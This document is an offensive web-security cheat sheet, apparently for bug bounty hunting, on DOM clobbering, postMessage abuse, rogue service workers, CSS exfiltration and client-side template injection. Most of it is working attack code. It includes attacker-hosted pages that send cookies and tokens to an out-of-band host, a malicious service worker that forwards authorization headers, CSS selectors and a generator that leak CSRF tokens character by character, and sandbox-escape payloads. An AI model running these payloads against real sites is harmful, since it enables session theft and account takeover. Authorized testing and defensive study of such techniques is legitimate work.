HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href

// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});

# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null

<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type

// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }

# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.